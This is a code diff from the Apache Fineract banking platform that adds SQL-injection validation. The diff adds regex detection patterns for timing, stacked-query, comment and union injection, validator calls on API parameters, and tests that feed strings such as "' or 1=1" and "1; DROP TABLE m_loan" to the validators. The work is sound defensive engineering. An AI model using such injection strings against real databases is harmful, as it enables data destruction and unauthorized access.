import org.apache.fineract.infrastructure.dataqueries.service.ReadWriteNonCoreDataServiceImpl;
|
||||
import org.apache.fineract.infrastructure.dataqueries.service.ReadWriteNonCoreDataService;
|
||||
import org.apache.fineract.infrastructure.entityaccess.service.FineractEntityAccessUtil;
|
||||
import org.apache.fineract.infrastructure.event.business.service.BusinessEventNotifierService;
|
||||
import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
|
||||
@@ -138,6 +138,7 @@ import org.apache.fineract.portfolio.savings.service.SavingsSchedularInterestPos
|
||||
import org.apache.fineract.portfolio.savings.service.SavingsSchedularInterestPosterTask;
|
||||
import org.apache.fineract.portfolio.savings.service.search.SavingsAccountTransactionSearchService;
|
||||
import org.apache.fineract.portfolio.savings.service.search.SavingsAccountTransactionsSearchServiceImpl;
|
||||
import org.apache.fineract.portfolio.search.service.SearchUtil;
|
||||
import org.apache.fineract.useradministration.domain.AppUserRepositoryWrapper;
|
||||
import org.springframework.boot.autoconfigure.condition.ConditionalOnMissingBean;
|
||||
import org.springframework.context.annotation.Bean;
|
||||
@@ -151,10 +152,10 @@ public class SavingsConfiguration {
|
||||
@Bean
|
||||
@ConditionalOnMissingBean(SavingsAccountTransactionSearchService.class)
|
||||
public SavingsAccountTransactionSearchService savingsAccountTransactionSearchService(PlatformSecurityContext context,
|
||||
GenericDataService genericDataService, DatabaseSpecificSQLGenerator sqlGenerator,
|
||||
ReadWriteNonCoreDataServiceImpl datatableService, DataTableValidator dataTableValidator, JdbcTemplate jdbcTemplate) {
|
||||
GenericDataService genericDataService, DatabaseSpecificSQLGenerator sqlGenerator, ReadWriteNonCoreDataService datatableService,
|
||||
DataTableValidator dataTableValidator, JdbcTemplate jdbcTemplate, SearchUtil searchUtil) {
|
||||
return new SavingsAccountTransactionsSearchServiceImpl(context, genericDataService, sqlGenerator, datatableService,
|
||||
dataTableValidator, jdbcTemplate);
|
||||
dataTableValidator, jdbcTemplate, searchUtil);
|
||||
}
|
||||
|
||||
@Bean
|
||||
|
||||
+4
-4
@@ -74,20 +74,20 @@ public class ShareAccountDividendReadPlatformServiceImpl implements ShareAccount
|
||||
sqlBuilder.append(" and sa.account_no = ? ");
|
||||
params.add(searchParameters.getAccountNo());
|
||||
}
|
||||
if (searchParameters.isOrderByRequested()) {
|
||||
if (searchParameters.hasOrderBy()) {
|
||||
sqlBuilder.append(" order by ").append(searchParameters.getOrderBy());
|
||||
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getOrderBy());
|
||||
|
||||
if (searchParameters.isSortOrderProvided()) {
|
||||
if (searchParameters.hasSortOrder()) {
|
||||
sqlBuilder.append(' ').append(searchParameters.getSortOrder());
|
||||
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getSortOrder());
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
if (searchParameters.isLimited()) {
|
||||
if (searchParameters.hasLimit()) {
|
||||
sqlBuilder.append(" ");
|
||||
if (searchParameters.isOffset()) {
|
||||
if (searchParameters.hasOffset()) {
|
||||
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset()));
|
||||
} else {
|
||||
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit()));
|
||||
|
||||
+11
-3
@@ -40,6 +40,7 @@ import org.apache.fineract.infrastructure.core.serialization.DefaultToApiJsonSer
|
||||
import org.apache.fineract.infrastructure.core.service.Page;
|
||||
import org.apache.fineract.infrastructure.core.service.SearchParameters;
|
||||
import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
|
||||
import org.apache.fineract.infrastructure.security.service.SqlValidator;
|
||||
import org.apache.fineract.portfolio.shareaccounts.data.ShareAccountDividendData;
|
||||
import org.apache.fineract.portfolio.shareaccounts.service.ShareAccountDividendReadPlatformService;
|
||||
import org.apache.fineract.portfolio.shareproducts.data.ShareProductDividendPayOutData;
|
||||
@@ -60,6 +61,7 @@ public class ShareDividendApiResource {
|
||||
private final PortfolioCommandSourceWritePlatformService commandsSourceWritePlatformService;
|
||||
private final ShareAccountDividendReadPlatformService shareAccountDividendReadPlatformService;
|
||||
private final ShareProductDividendReadPlatformService shareProductDividendReadPlatformService;
|
||||
private final SqlValidator sqlValidator;
|
||||
|
||||
@GET
|
||||
@Consumes({ MediaType.APPLICATION_JSON })
|
||||
@@ -69,7 +71,10 @@ public class ShareDividendApiResource {
|
||||
@QueryParam("sortOrder") final String sortOrder, @QueryParam("status") final Integer status) {
|
||||
|
||||
this.platformSecurityContext.authenticatedUser().validateHasReadPermission(RESOURCE_NAME_FOR_PERMISSIONS);
|
||||
final SearchParameters searchParameters = SearchParameters.forPagination(offset, limit, orderBy, sortOrder);
|
||||
sqlValidator.validate(orderBy);
|
||||
sqlValidator.validate(sortOrder);
|
||||
final SearchParameters searchParameters = SearchParameters.builder().limit(limit).offset(offset).orderBy(orderBy)
|
||||
.sortOrder(sortOrder).build();
|
||||
Page<ShareProductDividendPayOutData> dividendPayoutDetails = this.shareProductDividendReadPlatformService.retriveAll(productId,
|
||||
status, searchParameters);
|
||||
return this.toApiJsonSerializer.serialize(dividendPayoutDetails);
|
||||
@@ -85,8 +90,11 @@ public class ShareDividendApiResource {
|
||||
@PathParam("productId") final Long productId) {
|
||||
|
||||
this.platformSecurityContext.authenticatedUser().validateHasReadPermission(RESOURCE_NAME_FOR_PERMISSIONS);
|
||||
final SearchParameters searchParameters = SearchParameters.forPaginationAndAccountNumberSearch(offset, limit, orderBy, sortOrder,
|
||||
accountNo);
|
||||
sqlValidator.validate(orderBy);
|
||||
sqlValidator.validate(sortOrder);
|
||||
sqlValidator.validate(accountNo);
|
||||
final SearchParameters searchParameters = SearchParameters.builder().limit(limit).offset(offset).orderBy(orderBy)
|
||||
.sortOrder(sortOrder).accountNo(accountNo).build();
|
||||
Page<ShareAccountDividendData> dividendDetails = this.shareAccountDividendReadPlatformService.retriveAll(dividendId,
|
||||
searchParameters);
|
||||
return this.toApiAccountDetailJsonSerializer.serialize(dividendDetails);
|
||||
|
||||
+4
-4
@@ -62,19 +62,19 @@ public class ShareProductDividendReadPlatformServiceImpl implements ShareProduct
|
||||
sqlBuilder.append(" and pod.status = ?");
|
||||
params.add(status);
|
||||
}
|
||||
if (searchParameters.isOrderByRequested()) {
|
||||
if (searchParameters.hasOrderBy()) {
|
||||
sqlBuilder.append(" order by ").append(searchParameters.getOrderBy());
|
||||
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getOrderBy());
|
||||
|
||||
if (searchParameters.isSortOrderProvided()) {
|
||||
if (searchParameters.hasSortOrder()) {
|
||||
sqlBuilder.append(' ').append(searchParameters.getSortOrder());
|
||||
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getSortOrder());
|
||||
}
|
||||
}
|
||||
|
||||
if (searchParameters.isLimited()) {
|
||||
if (searchParameters.hasLimit()) {
|
||||
sqlBuilder.append(" ");
|
||||
if (searchParameters.isOffset()) {
|
||||
if (searchParameters.hasOffset()) {
|
||||
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset()));
|
||||
} else {
|
||||
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit()));
|
||||
|
||||
@@ -179,6 +179,101 @@ fineract.module.investor.enabled=${FINERACT_MODULE_INVESTOR_ENABLED:true}
|
||||
|
||||
fineract.insecure-http-client=${FINERACT_INSECURE_HTTP_CLIENT:true}
|
||||
|
||||
# sql validation
|
||||
|
||||
# inject-blind
|
||||
fineract.sql-validation.patterns[0].name=inject-blind
|
||||
fineract.sql-validation.patterns[0].pattern=(?i).*[\\"'`]?\\s*[and|or]+\\s*[\\"'`]?([\\d\\w])+[\\"'`]?\\s*=\\s*[\\"'`]?(\\1)[\\"'`]?\\s*.*
|
||||
|
||||
# detect-entry-point
|
||||
fineract.sql-validation.patterns[1].name=detect-entry-point
|
||||
fineract.sql-validation.patterns[1].pattern=(?i)^[\\"'`]?[\\)\\s]+
|
||||
|
||||
# inject-timing
|
||||
fineract.sql-validation.patterns[2].name=inject-timing
|
||||
fineract.sql-validation.patterns[2].pattern=(?i).*[\\"'`]?\\s*[and|\\+|&|\\|]+.*\\s*[sleep|pg_sleep|benchmark]+\\s*(\\(\\s*\\d+\\s*[,]?\\s*.*\\s*\\))+.*
|
||||
|
||||
# detect-backend
|
||||
fineract.sql-validation.patterns[3].name=detect-backend
|
||||
fineract.sql-validation.patterns[3].pattern=(?i).*\\[\\s*\\"(\\w+\\(.*\\))=(\\1)\\"\\s*,\\s*\\"\\w+\\"\\s*\\].*
|
||||
|
||||
# detect-column
|
||||
fineract.sql-validation.patterns[4].name=detect-column
|
||||
fineract.sql-validation.patterns[4].pattern=(?i).*[\\"'`]?\\s*(order\\s*by|group\\s*by|union\\s*select)+\\s+([\\d+|null]?\\s*,*\\s*)+\\s*.*
|
||||
|
||||
# detect-out-of-bands
|
||||
fineract.sql-validation.patterns[5].name=detect-out-of-bands
|
||||
fineract.sql-validation.patterns[5].pattern=(?i).*(select)+\\s+(load_file)+.*
|
||||
|
||||
# inject-stacked-query
|
||||
fineract.sql-validation.patterns[6].name=inject-stacked-query
|
||||
fineract.sql-validation.patterns[6].pattern=(?i).*[;]+\\s*(create|drop|alter|truncate|comment|select|insert|update|delete|merge|upsert|call|exec)+.*(from|into|set|table|column|database)*.*
|
||||
|
||||
# inject-comment
|
||||
fineract.sql-validation.patterns[7].name=inject-comment
|
||||
fineract.sql-validation.patterns[7].pattern=(?i).*\\s+(-|/\\*|#|\\(\\{)++.*
|
||||
|
||||
# main
|
||||
fineract.sql-validation.profiles[0].name=main
|
||||
fineract.sql-validation.profiles[0].description=Main Query Validation Profile
|
||||
fineract.sql-validation.profiles[0].patternRefs[0].name=inject-blind
|
||||
fineract.sql-validation.profiles[0].patternRefs[0].order=0
|
||||
fineract.sql-validation.profiles[0].patternRefs[1].name=detect-entry-point
|
||||
fineract.sql-validation.profiles[0].patternRefs[1].order=1
|
||||
fineract.sql-validation.profiles[0].patternRefs[2].name=inject-timing
|
||||
fineract.sql-validation.profiles[0].patternRefs[2].order=2
|
||||
fineract.sql-validation.profiles[0].patternRefs[3].name=detect-backend
|
||||
fineract.sql-validation.profiles[0].patternRefs[3].order=3
|
||||
fineract.sql-validation.profiles[0].patternRefs[4].name=detect-column
|
||||
fineract.sql-validation.profiles[0].patternRefs[4].order=4
|
||||
fineract.sql-validation.profiles[0].patternRefs[5].name=detect-out-of-bands
|
||||
fineract.sql-validation.profiles[0].patternRefs[5].order=5
|
||||
fineract.sql-validation.profiles[0].patternRefs[6].name=inject-stacked-query
|
||||
fineract.sql-validation.profiles[0].patternRefs[6].order=6
|
||||
fineract.sql-validation.profiles[0].patternRefs[7].name=inject-comment
|
||||
fineract.sql-validation.profiles[0].patternRefs[7].order=7
|
||||
fineract.sql-validation.profiles[0].enabled=true
|
||||
|
||||
# adhoc
|
||||
fineract.sql-validation.profiles[1].name=adhoc
|
||||
fineract.sql-validation.profiles[1].description=Adhoc Query Validation Profile
|
||||
fineract.sql-validation.profiles[1].patternRefs[0].name=inject-blind
|
||||
fineract.sql-validation.profiles[1].patternRefs[0].order=0
|
||||
fineract.sql-validation.profiles[1].patternRefs[1].name=detect-entry-point
|
||||
fineract.sql-validation.profiles[1].patternRefs[1].order=1
|
||||
fineract.sql-validation.profiles[1].patternRefs[2].name=inject-timing
|
||||
fineract.sql-validation.profiles[1].patternRefs[2].order=2
|
||||
fineract.sql-validation.profiles[1].patternRefs[3].name=detect-backend
|
||||
fineract.sql-validation.profiles[1].patternRefs[3].order=3
|
||||
fineract.sql-validation.profiles[1].patternRefs[4].name=detect-column
|
||||
fineract.sql-validation.profiles[1].patternRefs[4].order=4
|
||||
fineract.sql-validation.profiles[1].patternRefs[5].name=detect-out-of-bands
|
||||
fineract.sql-validation.profiles[1].patternRefs[5].order=5
|
||||
fineract.sql-validation.profiles[1].patternRefs[6].name=inject-stacked-query
|
||||
fineract.sql-validation.profiles[1].patternRefs[6].order=6
|
||||
fineract.sql-validation.profiles[1].patternRefs[7].name=inject-comment
|
||||
fineract.sql-validation.profiles[1].patternRefs[7].order=7
|
||||
fineract.sql-validation.profiles[1].enabled=true
|
||||
|
||||
# dynamic
|
||||
fineract.sql-validation.profiles[2].name=column
|
||||
fineract.sql-validation.profiles[2].description=Column Validation Profile
|
||||
fineract.sql-validation.profiles[2].patternRefs[0].name=inject-blind
|
||||
fineract.sql-validation.profiles[2].patternRefs[0].order=0
|
||||
fineract.sql-validation.profiles[2].patternRefs[1].name=detect-entry-point
|
||||
fineract.sql-validation.profiles[2].patternRefs[1].order=1
|
||||
fineract.sql-validation.profiles[2].patternRefs[2].name=inject-timing
|
||||
fineract.sql-validation.profiles[2].patternRefs[2].order=2
|
||||
fineract.sql-validation.profiles[2].patternRefs[3].name=detect-backend
|
||||
fineract.sql-validation.profiles[2].patternRefs[3].order=3
|
||||
fineract.sql-validation.profiles[2].patternRefs[4].name=detect-out-of-bands
|
||||
fineract.sql-validation.profiles[2].patternRefs[4].order=4
|
||||
fineract.sql-validation.profiles[2].patternRefs[5].name=inject-stacked-query
|
||||
fineract.sql-validation.profiles[2].patternRefs[5].order=5
|
||||
fineract.sql-validation.profiles[2].patternRefs[6].name=inject-comment
|
||||
fineract.sql-validation.profiles[2].patternRefs[6].order=6
|
||||
fineract.sql-validation.profiles[2].enabled=true
|
||||
|
||||
# Logging pattern for the console
|
||||
logging.pattern.console=${CONSOLE_LOG_PATTERN:%clr(%d{yyyy-MM-dd HH:mm:ss.SSS}){faint} %clr(${LOG_LEVEL_PATTERN:-%5p}) %clr(${PID:- }){magenta} %clr(%replace([%X{correlationId}]){'\\[\\]', ''}) %clr(---){faint} %clr([%15.15t]){faint} %clr(%-40.40logger{39}){cyan} %clr(:){faint} %m%n${LOG_EXCEPTION_CONVERSION_WORD:%wEx}}
|
||||
logging.pattern.level=%5p [${spring.application.name:},%X{traceId:-},%X{spanId:-}]
|
||||
|
||||
@@ -38,6 +38,7 @@ import org.apache.fineract.infrastructure.core.service.migration.TenantDataSourc
|
||||
import org.apache.fineract.infrastructure.core.service.migration.TenantDatabaseStateVerifier;
|
||||
import org.apache.fineract.infrastructure.core.service.migration.TenantDatabaseUpgradeService;
|
||||
import org.apache.fineract.infrastructure.core.service.tenant.TenantDetailsService;
|
||||
import org.apache.fineract.infrastructure.dataqueries.service.GenericDataService;
|
||||
import org.apache.fineract.infrastructure.jobs.ScheduledJobRunnerConfig;
|
||||
import org.apache.fineract.infrastructure.jobs.service.JobRegisterService;
|
||||
import org.junit.jupiter.api.extension.ExtendWith;
|
||||
@@ -45,7 +46,7 @@ import org.mockito.Mockito;
|
||||
import org.mockito.junit.jupiter.MockitoExtension;
|
||||
import org.mockito.junit.jupiter.MockitoSettings;
|
||||
import org.mockito.quality.Strictness;
|
||||
import org.springframework.batch.core.configuration.ListableJobLocator;
|
||||
import org.springframework.batch.core.configuration.JobRegistry;
|
||||
import org.springframework.batch.core.explore.JobExplorer;
|
||||
import org.springframework.batch.core.launch.JobLauncher;
|
||||
import org.springframework.batch.core.launch.JobOperator;
|
||||
@@ -99,18 +100,6 @@ public class TestConfiguration {
|
||||
};
|
||||
}
|
||||
|
||||
@Primary
|
||||
@Bean
|
||||
public JobExplorer jobExplorer() {
|
||||
return mock(JobExplorer.class, RETURNS_MOCKS);
|
||||
}
|
||||
|
||||
@Primary
|
||||
@Bean
|
||||
public JobLauncher jobLauncher() {
|
||||
return mock(JobLauncher.class, RETURNS_MOCKS);
|
||||
}
|
||||
|
||||
@Primary
|
||||
@Bean
|
||||
public HikariDataSource tenantDataSource() {
|
||||
@@ -189,8 +178,20 @@ public class TestConfiguration {
|
||||
|
||||
@Primary
|
||||
@Bean
|
||||
public ListableJobLocator listableJobLocator() {
|
||||
return mock(ListableJobLocator.class, RETURNS_MOCKS);
|
||||
public JobExplorer jobExplorer() {
|
||||
return mock(JobExplorer.class, RETURNS_MOCKS);
|
||||
}
|
||||
|
||||
@Primary
|
||||
@Bean
|
||||
public JobLauncher jobLauncher() {
|
||||
return mock(JobLauncher.class, RETURNS_MOCKS);
|
||||
}
|
||||
|
||||
@Primary
|
||||
@Bean
|
||||
public JobRegistry jobRegistry() {
|
||||
return mock(JobRegistry.class, RETURNS_MOCKS);
|
||||
}
|
||||
|
||||
@Primary
|
||||
@@ -210,4 +211,10 @@ public class TestConfiguration {
|
||||
public OkHttpClient okHttpClient() {
|
||||
return mock(OkHttpClient.class, RETURNS_MOCKS);
|
||||
}
|
||||
|
||||
@Primary
|
||||
@Bean
|
||||
public GenericDataService genericDataService() {
|
||||
return mock(GenericDataService.class, RETURNS_MOCKS);
|
||||
}
|
||||
}
|
||||
|
||||
+21
-21
@@ -32,31 +32,34 @@ import com.google.gson.JsonObject;
|
||||
import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
|
||||
import java.util.List;
|
||||
import java.util.stream.Stream;
|
||||
import org.apache.fineract.TestConfiguration;
|
||||
import org.apache.fineract.infrastructure.core.exception.PlatformApiDataValidationException;
|
||||
import org.apache.fineract.infrastructure.core.service.database.DatabaseSpecificSQLGenerator;
|
||||
import org.apache.fineract.infrastructure.core.service.database.DatabaseType;
|
||||
import org.apache.fineract.infrastructure.core.service.database.DatabaseTypeResolver;
|
||||
import org.apache.fineract.infrastructure.dataqueries.data.ResultsetColumnHeaderData;
|
||||
import org.apache.fineract.infrastructure.dataqueries.exception.DatatableNotFoundException;
|
||||
import org.junit.jupiter.api.BeforeEach;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.junit.jupiter.params.ParameterizedTest;
|
||||
import org.junit.jupiter.params.provider.Arguments;
|
||||
import org.junit.jupiter.params.provider.MethodSource;
|
||||
import org.mockito.InjectMocks;
|
||||
import org.mockito.Mock;
|
||||
import org.mockito.Mockito;
|
||||
import org.mockito.MockitoAnnotations;
|
||||
import org.springframework.beans.factory.annotation.Autowired;
|
||||
import org.springframework.boot.test.context.SpringBootTest;
|
||||
import org.springframework.jdbc.core.JdbcTemplate;
|
||||
import org.springframework.jdbc.support.rowset.SqlRowSet;
|
||||
import org.springframework.test.context.ContextConfiguration;
|
||||
|
||||
@SpringBootTest
|
||||
@ContextConfiguration(classes = TestConfiguration.class)
|
||||
@SuppressFBWarnings(value = "RV_EXCEPTION_NOT_THROWN", justification = "False positive")
|
||||
public class ReadWriteNonCoreDataServiceImplTest {
|
||||
|
||||
@Mock
|
||||
@Autowired
|
||||
private JdbcTemplate jdbcTemplate;
|
||||
|
||||
@Mock
|
||||
@Autowired
|
||||
private GenericDataService genericDataService;
|
||||
|
||||
@Mock
|
||||
@@ -65,17 +68,13 @@ public class ReadWriteNonCoreDataServiceImplTest {
|
||||
@Mock
|
||||
private DatabaseSpecificSQLGenerator sqlGenerator;
|
||||
|
||||
@InjectMocks
|
||||
private ReadWriteNonCoreDataServiceImpl underTest;
|
||||
|
||||
@BeforeEach
|
||||
public void setup() {
|
||||
MockitoAnnotations.openMocks(this);
|
||||
}
|
||||
@Autowired
|
||||
private ReadWriteNonCoreDataService underTest;
|
||||
|
||||
@Test
|
||||
public void testSqlInjectionCaughtQueryDataTable() {
|
||||
mockDatatableValidation();
|
||||
when(jdbcTemplate.queryForObject(anyString(), eq(Integer.class), anyString())).thenReturn(1);
|
||||
|
||||
assertThrows(PlatformApiDataValidationException.class, () -> {
|
||||
underTest.queryDataTable("table", "cf1", "vf1", "' or 1=1");
|
||||
});
|
||||
@@ -83,7 +82,8 @@ public class ReadWriteNonCoreDataServiceImplTest {
|
||||
|
||||
@Test
|
||||
public void testSqlInjectionCaughtQueryDataTable2() {
|
||||
mockDatatableValidation();
|
||||
when(jdbcTemplate.queryForObject(anyString(), eq(Integer.class), anyString())).thenReturn(1);
|
||||
|
||||
assertThrows(PlatformApiDataValidationException.class, () -> {
|
||||
underTest.queryDataTable("table", "cf1", "vf1", "1; DROP TABLE m_loan; SELECT");
|
||||
});
|
||||
@@ -91,8 +91,9 @@ public class ReadWriteNonCoreDataServiceImplTest {
|
||||
|
||||
@Test
|
||||
public void testQueryDataTableSuccess() {
|
||||
mockDatatableValidation();
|
||||
SqlRowSet sqlRS = Mockito.mock(SqlRowSet.class);
|
||||
|
||||
when(jdbcTemplate.queryForObject(anyString(), eq(Integer.class), anyString())).thenReturn(1);
|
||||
when(jdbcTemplate.queryForRowSet(eq("SELECT \"rc1\", \"rc2\" FROM \"table\" WHERE \"cf1\" = ?"), any(Object.class)))
|
||||
.thenReturn(sqlRS);
|
||||
when(sqlRS.next()).thenReturn(true).thenReturn(false);
|
||||
@@ -111,6 +112,7 @@ public class ReadWriteNonCoreDataServiceImplTest {
|
||||
false, dialect);
|
||||
ResultsetColumnHeaderData rc2 = ResultsetColumnHeaderData.detailed("rc2", "text", 10L, false, false, emptyList(), null, false,
|
||||
false, dialect);
|
||||
|
||||
when(genericDataService.fillResultsetColumnHeaders("table")).thenReturn(List.of(cf1, rc1, rc2));
|
||||
|
||||
List<JsonObject> results = underTest.queryDataTable("table", "cf1", "vf1", "rc1,rc2");
|
||||
@@ -121,8 +123,9 @@ public class ReadWriteNonCoreDataServiceImplTest {
|
||||
|
||||
@Test
|
||||
public void testQueryDataTableValidationError() {
|
||||
mockDatatableValidation();
|
||||
when(jdbcTemplate.queryForObject(anyString(), eq(Integer.class), anyString())).thenReturn(1);
|
||||
when(genericDataService.fillResultsetColumnHeaders("table")).thenReturn(emptyList());
|
||||
|
||||
assertThrows(PlatformApiDataValidationException.class, () -> underTest.queryDataTable("table", "cf1", "vf1", "rc1,rc2"));
|
||||
}
|
||||
|
||||
@@ -136,8 +139,9 @@ public class ReadWriteNonCoreDataServiceImplTest {
|
||||
@ParameterizedTest
|
||||
@MethodSource("provideParameters")
|
||||
public void testQueryDataTableInvalidParameterError(String columnType, String errorMessage) {
|
||||
mockDatatableValidation();
|
||||
when(jdbcTemplate.queryForObject(anyString(), eq(Integer.class), anyString())).thenReturn(1);
|
||||
when(databaseTypeResolver.databaseType()).thenReturn(DatabaseType.POSTGRESQL);
|
||||
|
||||
DatabaseType dialect = databaseTypeResolver.databaseType();
|
||||
ResultsetColumnHeaderData cf1 = ResultsetColumnHeaderData.detailed("cf1", columnType, 10L, false, false, emptyList(), null, false,
|
||||
false, dialect);
|
||||
@@ -154,10 +158,6 @@ public class ReadWriteNonCoreDataServiceImplTest {
|
||||
assertEquals(errorMessage, thrown.getErrors().get(0).getUserMessageGlobalisationCode());
|
||||
}
|
||||
|
||||
private void mockDatatableValidation() {
|
||||
when(jdbcTemplate.queryForObject(anyString(), eq(Integer.class), anyString())).thenReturn(1);
|
||||
}
|
||||
|
||||
private static Stream<Arguments> provideParameters() {
|
||||
return Stream.of(Arguments.of("timestamp without time zone", "validation.msg.invalid.dateFormat.format"),
|
||||
Arguments.of("INTEGER", "validation.msg.invalid.integer.format"),
|
||||
|
||||
-149
@@ -1,149 +0,0 @@
|
||||
/**
|
||||
* Licensed to the Apache Software Foundation (ASF) under one
|
||||
* or more contributor license agreements. See the NOTICE file
|
||||
* distributed with this work for additional information
|
||||
* regarding copyright ownership. The ASF licenses this file
|
||||
* to you under the Apache License, Version 2.0 (the
|
||||
* "License"); you may not use this file except in compliance
|
||||
* with the License. You may obtain a copy of the License at
|
||||
*
|
||||
* http://www.apache.org/licenses/LICENSE-2.0
|
||||
*
|
||||
* Unless required by applicable law or agreed to in writing,
|
||||
* software distributed under the License is distributed on an
|
||||
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
|
||||
* KIND, either express or implied. See the License for the
|
||||
* specific language governing permissions and limitations
|
||||
* under the License.
|
||||
*/
|
||||
package org.apache.fineract.infrastructure.security.utils;
|
||||
|
||||
import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
|
||||
import java.util.Arrays;
|
||||
import org.junit.jupiter.api.Assertions;
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
@SuppressFBWarnings(value = "RV_EXCEPTION_NOT_THROWN", justification = "False positive")
|
||||
public class SQLInjectionValidatorTest {
|
||||
|
||||
private static final String[] DDL_COMMANDS = { "create", "drop", "alter", "truncate", "comment", "sleep" };
|
||||
private static final String[] DML_COMMANDS = { "select", "insert", "update", "delete", "merge", "upsert", "call" };
|
||||
private static final String[] COMMENTS = { "--", "({", "/*", "#" };
|
||||
|
||||
@Test
|
||||
public void testValidateSqlInputQuote() {
|
||||
Assertions.assertThrows(SQLInjectionException.class, () -> {
|
||||
SQLInjectionValidator.validateSQLInput("' or 1=1");
|
||||
});
|
||||
}
|
||||
|
||||
@Test
|
||||
public void testValidateSqlInputSemicolon() {
|
||||
Assertions.assertThrows(SQLInjectionException.class, () -> {
|
||||
SQLInjectionValidator.validateSQLInput("; drop table foo;");
|
||||
});
|
||||
}
|
||||
|
||||
@Test
|
||||
public void testValidateAdhocQueryQuote() {
|
||||
Assertions.assertThrows(SQLInjectionException.class, () -> {
|
||||
SQLInjectionValidator.validateAdhocQuery("' or 1=1");
|
||||
});
|
||||
}
|
||||
|
||||
@Test
|
||||
public void testValidateAdhocQuerySemicolon() {
|
||||
Assertions.assertThrows(SQLInjectionException.class, () -> {
|
||||
SQLInjectionValidator.validateAdhocQuery("; drop table foo;");
|
||||
});
|
||||
}
|
||||
|
||||
@Test
|
||||
public void testValidateDynamicQueryQuote() {
|
||||
Assertions.assertThrows(SQLInjectionException.class, () -> {
|
||||
SQLInjectionValidator.validateDynamicQuery("' or 1=1");
|
||||
});
|
||||
}
|
||||
|
||||
@Test
|
||||
public void testValidateDynamicQuerySemicolon() {
|
||||
Assertions.assertThrows(SQLInjectionException.class, () -> {
|
||||
SQLInjectionValidator.validateDynamicQuery("; drop table foo;");
|
||||
});
|
||||
}
|
||||
|
||||
@Test
|
||||
public void testValidateSqlLInputReservedWords() {
|
||||
Arrays.asList(DDL_COMMANDS).forEach(ddl -> {
|
||||
Assertions.assertThrows(SQLInjectionException.class, () -> {
|
||||
SQLInjectionValidator.validateSQLInput(ddl);
|
||||
});
|
||||
});
|
||||
|
||||
Arrays.asList(DML_COMMANDS).forEach(dml -> {
|
||||
Assertions.assertThrows(SQLInjectionException.class, () -> {
|
||||
SQLInjectionValidator.validateSQLInput(dml);
|
||||
});
|
||||
});
|
||||
|
||||
Arrays.asList(COMMENTS).forEach(comment -> {
|
||||
Assertions.assertThrows(SQLInjectionException.class, () -> {
|
||||
SQLInjectionValidator.validateSQLInput(comment);
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
@Test
|
||||
public void testValidateAdhocQueryReservedWords() {
|
||||
Arrays.asList(DDL_COMMANDS).forEach(ddl -> {
|
||||
Assertions.assertThrows(SQLInjectionException.class, () -> {
|
||||
SQLInjectionValidator.validateAdhocQuery(ddl);
|
||||
});
|
||||
});
|
||||
|
||||
// left out intentionally from adhocquery validation?
|
||||
// Arrays.asList(DML_COMMANDS).forEach(dml -> {
|
||||
// Assertions.assertThrows(SQLInjectionException.class, () -> {
|
||||
// SQLInjectionValidator.validateAdhocQuery(dml);
|
||||
// });
|
||||
// });
|
||||
|
||||
Arrays.asList(COMMENTS).forEach(comment -> {
|
||||
Assertions.assertThrows(SQLInjectionException.class, () -> {
|
||||
SQLInjectionValidator.validateAdhocQuery(comment);
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
@Test
|
||||
public void testValidateDynamicQueryReservedWords() {
|
||||
Arrays.asList(DDL_COMMANDS).forEach(ddl -> {
|
||||
Assertions.assertThrows(SQLInjectionException.class, () -> {
|
||||
SQLInjectionValidator.validateDynamicQuery(ddl);
|
||||
});
|
||||
});
|
||||
|
||||
Arrays.asList(DML_COMMANDS).forEach(dml -> {
|
||||
Assertions.assertThrows(SQLInjectionException.class, () -> {
|
||||
SQLInjectionValidator.validateDynamicQuery(dml);
|
||||
});
|
||||
});
|
||||
|
||||
Arrays.asList(COMMENTS).forEach(comment -> {
|
||||
Assertions.assertThrows(SQLInjectionException.class, () -> {
|
||||
SQLInjectionValidator.validateDynamicQuery(comment);
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
@Test
|
||||
public void testValidateDynamicQueryColon() {
|
||||
SQLInjectionValidator.validateDynamicQuery("2022-10-13 18:40:21");
|
||||
}
|
||||
|
||||
@Test
|
||||
public void testValidateDynamicQueryReservedWordsInsideValue() {
|
||||
Arrays.asList(DDL_COMMANDS).forEach(ddl -> SQLInjectionValidator.validateDynamicQuery("foo" + ddl));
|
||||
Arrays.asList(DML_COMMANDS).forEach(dml -> SQLInjectionValidator.validateDynamicQuery("foo" + dml));
|
||||
}
|
||||
}
|
||||
+74
@@ -0,0 +1,74 @@
|
||||
/**
|
||||
* Licensed to the Apache Software Foundation (ASF) under one
|
||||
* or more contributor license agreements. See the NOTICE file
|
||||
* distributed with this work for additional information
|
||||
* regarding copyright ownership. The ASF licenses this file
|
||||
* to you under the Apache License, Version 2.0 (the
|
||||
* "License"); you may not use this file except in compliance
|
||||
* with the License. You may obtain a copy of the License at
|
||||
*
|
||||
* http://www.apache.org/licenses/LICENSE-2.0
|
||||
*
|
||||
* Unless required by applicable law or agreed to in writing,
|
||||
* software distributed under the License is distributed on an
|
||||
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
|
||||
* KIND, either express or implied. See the License for the
|
||||
* specific language governing permissions and limitations
|
||||
* under the License.
|
||||
*/
|
||||
package org.apache.fineract.infrastructure.security.utils;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
|
||||
import io.cucumber.java8.En;
|
||||
import org.apache.commons.lang3.RandomStringUtils;
|
||||
import org.apache.commons.lang3.StringUtils;
|
||||
